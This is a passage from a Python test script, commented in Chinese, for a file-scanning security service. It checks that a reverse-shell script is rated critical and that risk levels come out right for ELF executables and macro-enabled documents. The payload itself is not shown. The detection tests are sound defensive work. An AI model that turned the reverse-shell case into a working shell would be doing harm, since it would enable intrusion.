assert zt_findings[0].severity == "critical", f"反弹 Shell 应为 CRITICAL,实际 {zt_findings[0].severity}"
print(f" 命中规则: {[(f.rule, f.severity) for f in result.findings]}")
finally:
os.unlink(sh_path)
test("Shell 反弹 Shell → ShellScriptDangerous (CRITICAL)", test_reverse_shell_detection)
# ---- 7) open_risk 计算 ----
print("\n[7] open_risk 计算")
def test_open_risk():
from app.services.policy import PolicyEngine
from app.engines.base import Finding, Severity
# 无风险
open_risk = PolicyEngine.compute_open_risk("clean", [], ".docx")
assert open_risk["level"] == "low"
print(f" 无风险 docx: level={open_risk['level']}")
# 零容忍命中
open_risk = PolicyEngine.compute_open_risk(
"malicious",
[Finding("s", "L0", "critical", "LinuxExecutable", "ELF", 85.0)],
".elf",
)
assert open_risk["level"] == "critical"
assert "zero_tolerance_hit" in open_risk["factors"]
print(f" ELF 命中: level={open_risk['level']} factors={open_risk['factors']}")
# 含宏
open_risk = PolicyEngine.compute_open_risk(
"clean",
[Finding("d", "L2", "high", "VBAMacroPresent", "含宏", 40.0)],
".docm",
)
assert open_risk["level"] == "high"
assert "contains_macro" in open_risk["factors"]
print(f" 含宏 docm: level={open_risk['level']} factors={open_risk['factors']}")
test("open_risk 四级计算正确", test_open_risk)
# ---- 8) main.py 导入 ----
print("\n[8] main.py 导入")
def test_main_import():
# main.py 启动时会尝试连接数据库,这里只验证可被 import 解析
# 实际启动需要 db_url 有效
import importlib.util
spec = importlib.util.spec_from_file_location("app.main", "app/main.py")
assert spec is not None
print(" main.py 文件可被解析 ✓")
test("main.py 可被 import 解析", test_main_import)
# ---- 汇总 ----
print("\n" + "=" * 60)
total = passed + failed
print(f"结果: {passed}/{total} 通过,{failed} 失败")
print("=" * 60)
sys.exit(0 if failed == 0 else 1)